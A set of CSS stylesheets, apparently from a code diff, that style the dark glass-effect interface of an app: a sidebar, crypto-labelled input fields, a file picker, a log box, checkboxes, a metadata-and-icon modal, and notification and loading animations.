background: rgba(255, 255, 255, 0.07);
transform: translateY(-2px);
box-shadow: 0 5px 15px rgba(0, 0, 0, 0.2);
}
.crypto-header {
display: flex;
align-items: center;
gap: 10px;
margin-bottom: 10px;
color: #fff;
font-size: 14px;
font-weight: 500;
text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8);
}
.crypto-header i {
font-size: 20px;
color: #50A6EF;
}
.input-wrapper {
position: relative;
}
.input-wrapper input {
width: 100%;
padding: 10px 12px;
background: rgba(0, 0, 0, 0.2);
border: 1px solid rgba(255, 255, 255, 0.1);
border-radius: 12px;
color: #fff;
font-size: 13px;
outline: none;
transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
}
.input-wrapper input:focus {
border-color: #50A6EF;
box-shadow: 0 0 10px rgba(80, 166, 239, 0.2);
background: rgba(0, 0, 0, 0.3);
}
.input-wrapper input::placeholder {
color: rgba(255, 255, 255, 0.4);
}
input:-webkit-autofill,
input:-webkit-autofill:hover,
input:-webkit-autofill:focus,
input:-webkit-autofill:active {
-webkit-box-shadow: 0 0 0 30px rgba(0, 0, 0, 0.6) inset !important;
-webkit-text-fill-color: white !important;
transition: background-color 5000s ease-in-out 0s;
}
.error-bubble {
position: absolute;
bottom: 110%;
left: 50%;
transform: translateX(-50%) translateY(10px);
background: #ff4757;
color: white;
padding: 5px 12px;
border-radius: 12px;
font-size: 12px;
white-space: nowrap;
opacity: 0;
pointer-events: none;
transition: all 0.3s cubic-bezier(0.68, -0.55, 0.265, 1.55);
z-index: 10;
box-shadow: 0 4px 10px rgba(255, 71, 87, 0.3);
}
.error-bubble::after {
content: '';
position: absolute;
top: 100%;
left: 50%;
transform: translateX(-50%);
border-width: 6px;
border-style: solid;
border-color: #ff4757 transparent transparent transparent;
}
.error-bubble.show {
opacity: 1;
transform: translateX(-50%) translateY(0);
}
.button-container {
display: flex;
justify-content: center;
gap: 20px;
margin-top: 25px;
width: 100%;
max-width: 900px;
}
.selectButton {
background: rgba(80, 166, 239, 0.2);
border: 1px solid rgba(80, 166, 239, 0.5);
color: #fff;
padding: 10px 25px;
border-radius: 12px;
cursor: pointer;
font-weight: 600;
display: flex;
align-items: center;
gap: 10px;
transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
font-size: 14px;
backdrop-filter: blur(2px);
text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8);
}
.selectButton:hover {
background: #50A6EF;
color: #fff;
transform: translateY(-2px);
box-shadow: 0 5px 15px rgba(80, 166, 239, 0.4);
text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8);
}
#resetButton {
background: rgba(255, 71, 87, 0.1);
border-color: rgba(255, 71, 87, 0.3);
}
#resetButton:hover {
background: #ff4757;
color: #fff;
}
+237
View File
@@ -0,0 +1,237 @@
::-webkit-scrollbar {
display: none;
}
* {
margin: 0;
padding: 0;
box-sizing: border-box;
font-family: 'Poppins', sans-serif;
}
body {
min-height: 100vh;
background: url(img/bg.gif) no-repeat;
background-size: cover;
background-position: center;
}
.sidebar {
position: fixed;
top: 0;
left: 0;
width: 80px;
height: 100%;
background: transparent;
backdrop-filter: blur(4px);
padding: 6px 14px;
transition: .5s;
overflow: hidden;
z-index: 2000;
}
.sidebar.active {
width: 260px;
}
.sidebar .logo-menu {
display: flex;
white-space: nowrap;
align-items: center;
width: 100%;
height: 70px;
}
.sidebar .logo-menu .logo {
font-size: 23px;
color: #fff;
pointer-events: none;
opacity: 0;
transition: .3s;
text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8);
}
.sidebar.active .logo-menu .logo {
opacity: 1;
transition-delay: .2s;
}
.sidebar .logo-menu .toggle-btn {
position: absolute;
left: 50%;
transform: translateX(-50%);
width: 40px;
height: 40px;
font-size: 22px;
color: #fff;
text-align: center;
line-height: 40px;
cursor: pointer;
}
.sidebar.active .logo-menu .toggle-btn {
left: 90%;
}
.sidebar .list {
margin-top: 10px;
}
.list .list-item {
list-style: none;
width: 100%;
height: 50px;
margin: 5px 0;
line-height: 50px;
}
.list .list-item a {
display: flex;
align-items: center;
font-size: 18px;
color: #fff;
text-decoration: none;
border-radius: 6px;
white-space: nowrap;
transition: .5s;
}
.list .list-item.active a,
.list .list-item a:hover {
background: rgba(255, 255, 255, .2);
}
.list .list-item a i {
min-width: 50px;
height: 50px;
text-align: center;
line-height: 50px;
}
.sidebar .link_name {
opacity: 0;
pointer-events: none;
transition: .3s;
text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8);
}
.sidebar.active .link_name {
opacity: 1;
pointer-events: auto;
transition-delay: calc(.1s * var(--i));
}
.container {
height: 100vh;
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
background-size: 100% 300px;
background-position: 0% 100%;
transition: background-position 0.5s;
}
.maintitle {
position: relative;
width: 100%;
max-width: 90vh;
display: flex;
justify-content: center;
align-items: center;
margin-bottom: 20px;
}
.maintitle h1 {
color: white;
font-weight: bold;
font-size: 24px;
text-shadow: 2px 2px 4px rgba(0, 0, 0, 0.8);
}
.header-buttons {
position: fixed;
top: 25px;
right: 25px;
display: flex;
gap: 10px;
z-index: 1000;
}
.help-button,
.new-button {
background: rgba(80, 166, 239, 0.2);
border: 1px solid rgba(80, 166, 239, 0.5);
color: #fff;
padding: 8px 18px;
border-radius: 12px;
cursor: pointer;
backdrop-filter: blur(2px);
transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
font-size: 13px;
font-weight: 600;
display: flex;
align-items: center;
gap: 8px;
text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8);
}
.help-button:hover,
.new-button:hover {
background: #50A6EF;
color: #fff;
transform: translateY(-2px);
box-shadow: 0 5px 15px rgba(80, 166, 239, 0.4);
text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8);
}
.container .selectButton {
background: rgba(80, 166, 239, 0.2);
border: 1px solid rgba(80, 166, 239, 0.5);
color: #fff;
width: 43vh;
height: 45px;
border-radius: 12px;
cursor: pointer;
display: flex;
justify-content: center;
align-items: center;
text-align: center;
padding: 10px 18px;
font-weight: 600;
backdrop-filter: blur(2px);
transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8);
margin-top: 25px;
}
.container .selectButton:hover {
background: #50A6EF;
color: #fff;
transform: translateY(-2px);
box-shadow: 0 5px 15px rgba(80, 166, 239, 0.4);
text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8);
}
.container .selectButton input[type="file"] {
display: none;
}
.container .outputContainer {
background: rgba(255, 255, 255, 0.01);
backdrop-filter: blur(2px);
border: 1px solid rgba(255, 255, 255, 0.1);
padding: 15px;
border-radius: 12px;
box-shadow: 0 10px 30px rgba(0, 0, 0, 0.2);
}
.container .outputBox {
color: white;
padding: 10px;
width: 90vh;
height: 50vh;
overflow-y: auto;
text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8);
}
+262
View File
@@ -0,0 +1,262 @@
::-webkit-scrollbar {
display: none;
}
* {
margin: 0;
padding: 0;
box-sizing: border-box;
font-family: 'Poppins', sans-serif;
}
body {
min-height: 100vh;
background: url(img/bg.gif) no-repeat;
background-size: cover;
background-position: center;
user-select: none;
}
.sidebar {
position: fixed;
top: 0;
left: 0;
width: 80px;
height: 100%;
background: transparent;
backdrop-filter: blur(4px);
padding: 6px 14px;
transition: .5s;
overflow: hidden;
z-index: 2000;
}
.sidebar.active {
width: 260px;
}
.sidebar .logo-menu {
display: flex;
white-space: nowrap;
align-items: center;
width: 100%;
height: 70px;
}
.sidebar .logo-menu .logo {
font-size: 23px;
color: #fff;
pointer-events: none;
opacity: 0;
transition: .3s;
text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8);
}
.sidebar.active .logo-menu .logo {
opacity: 1;
transition-delay: .2s;
}
.sidebar .logo-menu .toggle-btn {
position: absolute;
left: 50%;
transform: translateX(-50%);
width: 40px;
height: 40px;
font-size: 22px;
color: #fff;
text-align: center;
line-height: 40px;
cursor: pointer;
}
.sidebar.active .logo-menu .toggle-btn {
left: 90%;
}
.sidebar .list {
margin-top: 10px;
}
.list .list-item {
list-style: none;
width: 100%;
height: 50px;
margin: 5px 0;
line-height: 50px;
}
.list .list-item a {
display: flex;
align-items: center;
font-size: 18px;
color: #fff;
text-decoration: none;
border-radius: 12px;
white-space: nowrap;
transition: .5s;
}
.list .list-item.active a,
.list .list-item a:hover {
background: rgba(255, 255, 255, .2);
}
.list .list-item a i {
min-width: 50px;
height: 50px;
text-align: center;
line-height: 50px;
}
.sidebar .link_name {
opacity: 0;
pointer-events: none;
transition: .3s;
text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8);
}
.sidebar.active .link_name {
opacity: 1;
pointer-events: auto;
transition-delay: calc(.1s * var(--i));
}
.container {
height: 100vh;
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
}
.maintitle {
position: relative;
width: 100%;
max-width: 1000px;
display: flex;
justify-content: center;
align-items: center;
margin-bottom: 20px;
}
.maintitle h1 {
color: white;
font-weight: bold;
font-size: 24px;
text-shadow: 2px 2px 4px rgba(0, 0, 0, 0.8);
}
.toggle-button {
position: fixed;
top: 25px;
right: 25px;
background: rgba(80, 166, 239, 0.2);
border: 1px solid rgba(80, 166, 239, 0.5);
color: #fff;
padding: 10px 25px;
border-radius: 12px;
cursor: pointer;
font-weight: 600;
backdrop-filter: blur(2px);
transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
display: flex;
align-items: center;
gap: 10px;
font-size: 14px;
text-decoration: none;
user-select: none;
text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8);
z-index: 1000;
}
.toggle-button:hover {
background: #50A6EF;
color: #fff;
transform: translateY(-2px);
box-shadow: 0 5px 15px rgba(80, 166, 239, 0.4);
text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8);
}
.checkbox-container {
background: rgba(255, 255, 255, 0.01);
backdrop-filter: blur(2px);
border: 1px solid rgba(255, 255, 255, 0.1);
padding: 20px;
border-radius: 12px;
box-shadow: 0 10px 30px rgba(0, 0, 0, 0.2);
max-width: 550px;
width: 90%;
}
.checkbox-list-wrapper {
display: flex;
align-items: flex-start;
}
.checkbox-list {
display: flex;
flex-direction: column;
gap: 10px;
}
.spacer {
width: 60px;
}
.checkbox-item {
display: flex;
align-items: center;
margin: 10px 0;
}
.checkbox-item input[type="checkbox"] {
display: none;
}
.checkbox-item label {
display: flex;
align-items: center;
margin-left: 12px;
font-size: 18px;
color: #fff;
position: relative;
padding-left: 35px;
text-shadow: 1px 1px 3px rgba(0, 0, 0, 0.8);
}
.checkbox-item label::before {
content: '';
position: absolute;
left: 0;
top: 0;
width: 25px;
height: 25px;
border: 2px solid #50A6EF;
border-radius: 4px;
background-color: transparent;
transition: background-color 0.2s, border-color 0.2s;
}
.checkbox-item input[type="checkbox"]:checked+label::before {
background-color: #50A6EF;
border-color: #50A6EF;
}
.checkbox-item label::after {
content: '';
position: absolute;
left: 7px;
top: 4px;
width: 12px;
height: 12px;
border: solid #000000;
border-width: 0 2px 2px 0;
transform: rotate(45deg);
opacity: 0;
transition: opacity 0.2s;
}
.checkbox-item input[type="checkbox"]:checked+label::after {
opacity: 1;
}
+383
View File
@@ -0,0 +1,383 @@
::-webkit-scrollbar {
display: none;
}
* {
margin: 0;
padding: 0;
box-sizing: border-box;
font-family: 'Poppins', sans-serif;
}
body {
min-height: 100vh;
background: url(img/bg.gif) no-repeat;
background-size: cover;
background-position: center;
user-select: none;
}
.sidebar {
position: fixed;
top: 0;
left: 0;
width: 80px;
height: 100%;
background: transparent;
backdrop-filter: blur(4px);
padding: 6px 14px;
transition: .5s;
overflow: hidden;
z-index: 2000;
}
.sidebar.active {
width: 260px;
}
.sidebar .logo-menu {
display: flex;
white-space: nowrap;
align-items: center;
width: 100%;
height: 70px;
}
.sidebar .logo-menu .logo {
font-size: 23px;
color: #fff;
pointer-events: none;
opacity: 0;
transition: .3s;
text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8);
}
.sidebar.active .logo-menu .logo {
opacity: 1;
transition-delay: .2s;
}
.sidebar .logo-menu .toggle-btn {
position: absolute;
left: 50%;
transform: translateX(-50%);
width: 40px;
height: 40px;
font-size: 22px;
color: #fff;
text-align: center;
line-height: 40px;
cursor: pointer;
}
.sidebar.active .logo-menu .toggle-btn {
left: 90%;
}
.sidebar .list {
margin-top: 10px;
}
.list .list-item {
list-style: none;
width: 100%;
height: 50px;
margin: 5px 0;
line-height: 50px;
}
.list .list-item a {
display: flex;
align-items: center;
font-size: 18px;
color: #fff;
text-decoration: none;
border-radius: 6px;
white-space: nowrap;
transition: .5s;
}
.list .list-item.active a,
.list .list-item a:hover {
background: rgba(255, 255, 255, .2);
}
.list .list-item a i {
min-width: 50px;
height: 50px;
text-align: center;
line-height: 50px;
}
.sidebar .link_name {
opacity: 0;
pointer-events: none;
transition: .3s;
text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8);
}
.sidebar.active .link_name {
opacity: 1;
pointer-events: auto;
transition-delay: calc(.1s * var(--i));
}
.container {
height: 100vh;
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
}
.maintitle {
position: relative;
width: 100%;
max-width: 70%;
display: flex;
justify-content: center;
align-items: center;
margin-bottom: 20px;
}
.maintitle h1 {
color: white;
font-weight: bold;
font-size: 24px;
text-shadow: 2px 2px 4px rgba(0, 0, 0, 0.8);
}
.stats-container {
display: flex;
justify-content: space-between;
width: 70%;
background: rgba(255, 255, 255, 0.01);
backdrop-filter: blur(2px);
border: 1px solid rgba(255, 255, 255, 0.1);
border-radius: 12px;
box-shadow: 0 10px 30px rgba(0, 0, 0, 0.2);
padding: 30px;
margin-bottom: 20px;
gap: 20px;
}
.input-column {
display: flex;
flex-direction: column;
gap: 10px;
flex: 1;
}
.input-group {
text-align: left;
}
.input-group label {
color: #fff;
margin-bottom: 5px;
display: inline-block;
font-size: 14px;
text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8);
cursor: pointer;
transition: color 0.3s;
}
.input-group label:hover {
color: #50A6EF;
}
.input-group input[type="text"] {
width: 100%;
padding: 10px 12px;
background: rgba(0, 0, 0, 0.2);
border: 1px solid rgba(255, 255, 255, 0.1);
border-radius: 12px;
color: #fff;
font-size: 13px;
outline: none;
transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
}
.input-group input[type="text"]:focus {
border-color: #50A6EF;
box-shadow: 0 0 10px rgba(80, 166, 239, 0.2);
background: rgba(0, 0, 0, 0.3);
}
.input-group input[type="text"]::placeholder {
color: rgba(255, 255, 255, 0.4);
}
/* Fix for yellow autofill background */
input:-webkit-autofill,
input:-webkit-autofill:hover,
input:-webkit-autofill:focus,
input:-webkit-autofill:active {
-webkit-box-shadow: 0 0 0 30px rgba(0, 0, 0, 0.6) inset !important;
-webkit-text-fill-color: white !important;
transition: background-color 5000s ease-in-out 0s;
}
.container .selectButton {
background: rgba(80, 166, 239, 0.2);
border: 1px solid rgba(80, 166, 239, 0.5);
color: #fff;
width: 43vh;
height: 45px;
border-radius: 12px;
cursor: pointer;
display: flex;
justify-content: center;
align-items: center;
text-align: center;
padding: 10px 18px;
font-weight: 600;
backdrop-filter: blur(2px);
transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8);
margin-top: 25px;
}
#testButton {
width: 150px;
margin-top: 22px;
background: rgba(80, 166, 239, 0.2);
border: 1px solid rgba(80, 166, 239, 0.5);
}
.container .selectButton:hover {
background: #50A6EF;
color: #fff;
transform: translateY(-2px);
box-shadow: 0 5px 15px rgba(80, 166, 239, 0.4);
text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8);
}
.actions-container {
display: flex;
gap: 20px;
margin-top: 25px;
}
.actions-container .selectButton {
margin-top: 0;
width: 200px;
}
.clear-btn {
background: rgba(255, 71, 87, 0.2) !important;
border: 1px solid rgba(255, 71, 87, 0.5) !important;
}
.clear-btn:hover {
background: #ff4757 !important;
box-shadow: 0 5px 15px rgba(255, 71, 87, 0.4) !important;
}
.container .selectButton input[type="file"] {
display: none;
}
.container .aboutRisk {
margin-top: 5vh;
color: #fff;
}
.container .aboutRisk h2 {
text-align: center;
}
.container .aboutRisk p {
text-align: center;
margin-left: 35vh;
margin-right: 35vh;
}
.container .aboutRisk .bold {
font-weight: bold;
}
.input-group {
position: relative;
margin-bottom: 10px;
}
input[type="text"].locked {
background-color: rgba(0, 0, 0, 0.5);
color: #fff;
cursor: not-allowed;
}
input[type="text"].locked::placeholder {
color: #fff;
}
input[type="text"]:disabled::placeholder {
content: "Locked";
}
.help-button {
position: fixed;
top: 25px;
right: 25px;
z-index: 1000;
pointer-events: auto;
background: rgba(80, 166, 239, 0.2);
border: 1px solid rgba(80, 166, 239, 0.5);
color: #fff;
padding: 8px 20px;
border-radius: 12px;
cursor: pointer;
font-weight: 600;
backdrop-filter: blur(2px);
transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
display: flex;
align-items: center;
gap: 10px;
font-size: 14px;
text-decoration: none;
user-select: none;
text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8);
}
.help-button:hover {
background: #50A6EF;
color: #fff;
transform: translateY(-2px);
box-shadow: 0 5px 15px rgba(80, 166, 239, 0.4);
text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8);
}
.error-bubble {
position: absolute;
bottom: 110%;
left: 50%;
transform: translateX(-50%) translateY(10px);
background: #ff4757;
color: white;
padding: 5px 12px;
border-radius: 12px;
font-size: 12px;
white-space: nowrap;
opacity: 0;
pointer-events: none;
transition: all 0.3s cubic-bezier(0.68, -0.55, 0.265, 1.55);
z-index: 10;
box-shadow: 0 4px 10px rgba(255, 71, 87, 0.3);
}
.error-bubble::after {
content: '';
position: absolute;
top: 100%;
left: 50%;
transform: translateX(-50%);
border-width: 6px;
border-style: solid;
border-color: #ff4757 transparent transparent transparent;
}
.error-bubble.show {
opacity: 1;
transform: translateX(-50%) translateY(0);
}
+338
View File
@@ -0,0 +1,338 @@
/* Modal Overlay */
.modal {
display: none;
position: fixed;
z-index: 2000;
left: 0;
top: 0;
width: 100%;
height: 100%;
background-color: rgba(10, 15, 30, 0.4);
/* Overlay très transparent */
backdrop-filter: blur(8px);
animation: fadeIn 0.2s ease;
align-items: center;
justify-content: center;
}
.modal.active {
display: flex;
}
/* Modal Box - True Glassmorphism */
.modal-content.glass-effect {
background: rgba(15, 20, 35, 0.75);
/* TRANSPARENT - laisse passer le fond */
border: 1px solid rgba(255, 255, 255, 0.08);
/* Bordure très subtile */
box-shadow: 0 8px 32px 0 rgba(0, 0, 0, 0.37);
backdrop-filter: blur(20px) saturate(180%);
/* Flou intense + saturation */
-webkit-backdrop-filter: blur(20px) saturate(180%);
border-radius: 16px;
width: 780px;
max-width: 95%;
padding: 0;
animation: zoomIn 0.2s cubic-bezier(0.16, 1, 0.3, 1);
color: #e2e8f0;
font-family: 'Segoe UI', sans-serif;
overflow: hidden;
}
/* Header */
.modal-header {
padding: 18px 30px;
display: flex;
justify-content: space-between;
align-items: center;
background: rgba(255, 255, 255, 0.02);
/* Très léger */
border-bottom: 1px solid rgba(255, 255, 255, 0.05);
}
.modal-header h2 {
margin: 0;
font-size: 0.95rem;
font-weight: 600;
color: #ffffff;
text-transform: uppercase;
letter-spacing: 0.5px;
display: flex;
gap: 10px;
align-items: center;
}
.close-modal {
font-size: 20px;
color: #94a3b8;
cursor: pointer;
transition: 0.2s;
display: flex;
align-items: center;
}
.close-modal:hover {
color: #fff;
}
/* Layout */
.modal-body {
padding: 25px 35px 30px 35px;
display: grid;
grid-template-columns: 1.15fr 0.85fr;
gap: 40px;
min-height: 400px;
}
/* Gauche */
.metadata-section {
display: flex;
flex-direction: column;
justify-content: space-between;
height: 100%;
}
.input-group {
display: flex;
flex-direction: column;
gap: 6px;
}
.input-group label {
font-size: 0.75rem;
color: #94a3b8;
font-weight: 500;
}
.input-group input {
width: 100%;
background: rgba(30, 40, 60, 0.4);
/* TRANSPARENT */
border: 1px solid rgba(255, 255, 255, 0.1);
padding: 0 12px;
border-radius: 8px;
color: #e2e8f0;
font-size: 0.85rem;
transition: 0.2s;
height: 38px;
line-height: 38px;
backdrop-filter: blur(10px);
/* Flou sur les inputs aussi */
}
.input-group input:focus {
outline: none;
border-color: rgba(59, 130, 246, 0.5);
background: rgba(30, 40, 60, 0.6);
color: #fff;
box-shadow: 0 0 0 3px rgba(59, 130, 246, 0.1);
}
.input-group input::placeholder {
color: rgba(148, 163, 184, 0.5);
}
/* Droite */
.icon-column {
display: flex;
flex-direction: column;
gap: 20px;
height: 100%;
justify-content: space-between;
}
/* Preview Box - Glass Card */
.preview-box {
background: rgba(30, 40, 60, 0.3);
/* Très transparent */
border: 1px solid rgba(255, 255, 255, 0.08);
border-radius: 12px;
padding: 20px;
display: flex;
flex-direction: column;
align-items: center;
gap: 15px;
backdrop-filter: blur(10px);
}
.current-icon-wrapper {
width: 58px;
height: 58px;
display: flex;
align-items: center;
justify-content: center;
margin-bottom: 5px;
}
.current-icon {
max-width: 100%;
max-height: 100%;
filter: drop-shadow(0 2px 5px rgba(0, 0, 0, 0.3));
}
.file-name-display {
font-size: 0.75rem;
color: #60a5fa;
margin: 0;
text-align: center;
max-width: 150px;
white-space: nowrap;
overflow: hidden;
text-overflow: ellipsis;
}
.icon-actions {
display: flex;
gap: 12px;
width: 100%;
}
.icon-btn {
flex: 1;
background: rgba(30, 40, 60, 0.4);
border: 1px solid rgba(255, 255, 255, 0.1);
padding: 8px;
border-radius: 6px;
color: #cbd5e1;
cursor: pointer;
font-size: 0.75rem;
display: flex;
align-items: center;
justify-content: center;
gap: 6px;
font-weight: 500;
transition: 0.2s;
height: 32px;
backdrop-filter: blur(10px);
}
.icon-btn:hover {
background: rgba(30, 40, 60, 0.6);
border-color: rgba(255, 255, 255, 0.2);
color: #fff;
}
/* Icons Grid - Glass Cards */
.predefined-section h3 {
font-size: 0.65rem;
color: #64748b;
margin: 5px 0 10px 0;
font-weight: 700;
text-transform: uppercase;
}
.icon-grid {
display: grid;
grid-template-columns: repeat(4, 1fr);
gap: 10px;
}
.grid-item {
background: rgba(30, 40, 60, 0.35);
/* Transparent */
border: 1px solid rgba(255, 255, 255, 0.08);
border-radius: 8px;
aspect-ratio: 1;
display: flex;
align-items: center;
justify-content: center;
cursor: pointer;
transition: 0.2s;
height: 48px;
backdrop-filter: blur(10px);
}
.grid-item:hover {
background: rgba(30, 40, 60, 0.5);
border-color: rgba(255, 255, 255, 0.15);
transform: translateY(-1px);
}
.grid-item.selected {
border-color: rgba(59, 130, 246, 0.6);
background: rgba(59, 130, 246, 0.15);
box-shadow: 0 0 20px rgba(59, 130, 246, 0.2);
}
.grid-item img {
width: 24px;
height: 24px;
object-fit: contain;
}
/* Action Container */
.action-container {
margin-top: auto;
display: flex;
justify-content: flex-end;
}
.btn-apply {
background: rgba(16, 185, 129, 0.9);
/* Vert avec légère transparence */
border: 1px solid rgba(255, 255, 255, 0.1);
color: #ffffff;
padding: 0;
height: 40px;
width: 100%;
border-radius: 6px;
font-size: 0.9rem;
font-weight: 600;
cursor: pointer;
display: flex;
align-items: center;
justify-content: center;
gap: 8px;
transition: 0.2s;
box-shadow: 0 4px 15px rgba(16, 185, 129, 0.3);
backdrop-filter: blur(10px);
}
.btn-apply:hover {
background: rgba(5, 150, 105, 0.95);
transform: translateY(-1px);
box-shadow: 0 6px 20px rgba(16, 185, 129, 0.4);
}
@keyframes fadeIn {
from {
opacity: 0;
}
to {
opacity: 1;
}
}
@keyframes zoomIn {
from {
transform: scale(0.98);
opacity: 0;
}
to {
transform: scale(1);
opacity: 1;
}
}
/* Loading Animation */
@keyframes spin {
from {
transform: rotate(0deg);
}
to {
transform: rotate(360deg);
}
}
.btn-apply.loading {
background: rgba(16, 185, 129, 0.5) !important;
cursor: wait !important;
pointer-events: none;
}
.btn-apply.loading i {
animation: spin 1s linear infinite;
}
+75
View File
@@ -0,0 +1,75 @@
#notification-container {
position: fixed;
top: 20px;
right: 20px;
z-index: 9999;
display: flex;
flex-direction: column;
gap: 10px;
pointer-events: none;
}
.notification {
background: rgba(80, 166, 239, 0.2);
backdrop-filter: blur(10px);
border: 1px solid rgba(80, 166, 239, 0.5);
color: #fff;
padding: 15px 20px;
border-radius: 12px;
box-shadow: 0 5px 15px rgba(0, 0, 0, 0.2);
display: flex;
align-items: center;
gap: 12px;
min-width: 300px;
transform: translateX(120%);
transition: transform 0.4s cubic-bezier(0.68, -0.55, 0.265, 1.55);
pointer-events: auto;
font-size: 14px;
}
.notification.show {
transform: translateX(0);
}
.notification.success {
background: rgba(46, 204, 113, 0.2);
border-color: rgba(46, 204, 113, 0.5);
}
.notification.error {
background: rgba(231, 76, 60, 0.2);
border-color: rgba(231, 76, 60, 0.5);
}
.notification.info {
background: rgba(52, 152, 219, 0.2);
border-color: rgba(52, 152, 219, 0.5);
}
.notification i {
font-size: 20px;
}
.notification-title {
font-weight: 600;
margin-bottom: 2px;
}
.notification-message {
font-size: 13px;
opacity: 0.9;
}
@keyframes dots {
0%, 20% { content: "."; }
40% { content: ".."; }
60%, 100% { content: "..."; }
}
.loading-dots::after {
content: ".";
animation: dots 1.5s steps(1, end) infinite;
display: inline-block;
width: 1em;
text-align: left;
}
+76
View File
@@ -0,0 +1,76 @@
html,
body {
background-color: #0b0d17 !important;
}
.container {
animation: slideInFade 0.3s cubic-bezier(0.2, 0.8, 0.2, 1) forwards;
opacity: 0;
will-change: transform, opacity;
}
@keyframes slideInFade {
from {
opacity: 0;
transform: translateY(8px);
}
to {
opacity: 1;
transform: translateY(0);
}
}
.list-item a {
transition: transform 0.2s cubic-bezier(0.4, 0, 0.2, 1), background 0.3s ease;
}
.list-item a:active {
transform: scale(0.96);
}
.list-item a:hover i {
filter: drop-shadow(0 0 5px rgba(255, 255, 255, 0.5));
}
.log-message {
display: block;
opacity: 0;
transform: translateX(-15px);
animation: logFadeIn 0.35s cubic-bezier(0.4, 0, 0.2, 1) forwards;
margin-bottom: 6px;
}
@keyframes logFadeIn {
to {
opacity: 1;
transform: translateX(0);
}
}
/* Dots Animation for Finalizing */
.dots::after {
content: '';
animation: dots-anim 1.5s steps(4, end) infinite;
}
@keyframes dots-anim {
0%,
20% {
content: '';
}
40% {
content: '.';
}
60% {
content: '..';
}
80%,
100% {
content: '...';
}
}